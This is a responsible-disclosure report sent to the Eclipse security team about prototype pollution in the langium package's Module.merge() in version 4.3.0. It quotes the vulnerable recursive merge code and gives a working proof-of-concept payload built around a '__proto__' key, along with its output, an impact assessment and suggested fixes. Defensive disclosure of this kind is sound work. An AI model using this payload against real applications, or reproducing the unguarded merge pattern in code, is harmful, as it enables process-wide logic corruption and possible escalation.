[Eclipse Langium] Prototype pollution in langium Module.merge()
> **From:** Junming Wu <dr3m19@icloud.com> · **Date:** Thu, 18 Jun 2026 14:18:54 +0800
Project: eclipse-langium/langium
Package: langium
Affected version tested: 4.3.0
Vulnerability type: Prototype Pollution
CWE: CWE-1321
Hello Eclipse Security Team,
I would like to responsibly report a prototype pollution issue in the `langium` npm package.
The issue is reachable through the public `Module.merge()` API exported by the package root. When merging a module object containing an own enumerable `__proto__` property, the merge logic can recurse into `Object.prototype` and write attacker-controlled properties globally.
## Summary
`Module.merge()` performs a recursive merge of dependency injection module objects. During the merge, it iterates over `Object.entries(source)` and accesses `target[key]` without rejecting prototype-related keys.
When `key === "__proto__"`, `target[key]` resolves to `Object.prototype`. If the source value is an object, the merge recurses into that object and writes nested attacker-controlled properties to `Object.prototype`.
## Affected Source
Published package path:
```
node_modules/langium/lib/dependency-injection.js
```
Relevant code in the published package:
```
Module.merge = (m1, m2) => _merge(_merge({}, m1), m2);
function _merge(target, source) {
if (source) {
for (const [key, sourceValue] of Object.entries(source)) {
if (sourceValue !== undefined && sourceValue !== null) {
if (typeof sourceValue === 'object') {
const targetValue = target[key];
if (typeof targetValue === 'object' && targetValue !== null) {
target[key] = _merge(targetValue, sourceValue);
} else {
target[key] = _merge({}, sourceValue);
}
} else {
target[key] = sourceValue;
}
}
}
}
}
```
## Proof of Concept
Tested with `langium@4.3.0`.
```
import { Module } from "langium";
delete Object.prototype.polluted;
Module.merge(
{},
JSON.parse('{"__proto__":{"polluted":"yes-langium"}}')
);
console.log("Object.prototype.polluted:", JSON.stringify(Object.prototype.polluted));
console.log("plain object inherited:", JSON.stringify({}.polluted));
delete Object.prototype.polluted;
```
Observed output:
```
Object.prototype.polluted: "yes-langium"
plain object inherited: "yes-langium"
```
## Impact
This is a prototype pollution issue in Langium's dependency injection module merge helper.
The practical attack surface depends on whether an application, extension, language server, or tool built with Langium merges module/configuration objects that may be influenced by third-party packages, plugins, workspace files, generated code, or project-controlled input.
An attacker who can influence a module object passed to `Module.merge()` may pollute `Object.prototype` in the Node.js process. Depending on other code running in the same process, this can lead to logic corruption, unexpected inherited properties, denial of service, or gadget-dependent escalation.
I would classify the severity as low to medium because the affected API is primarily used for dependency injection module composition, and exploitability depends on whether untrusted or third-party module objects are merged.
## Suggested Fix
Please consider rejecting prototype-related keys during module merging, including:
```
__proto__
constructor
prototype
```
Other possible hardening options:
* use null-prototype objects for merge targets;
* check only safe own properties during recursive traversal;
* avoid reading `target[key]` before validating that `key` is not prototype-related.
Please let me know if you need any additional information or a different disclosure format.
Best regards,
Dremig
issue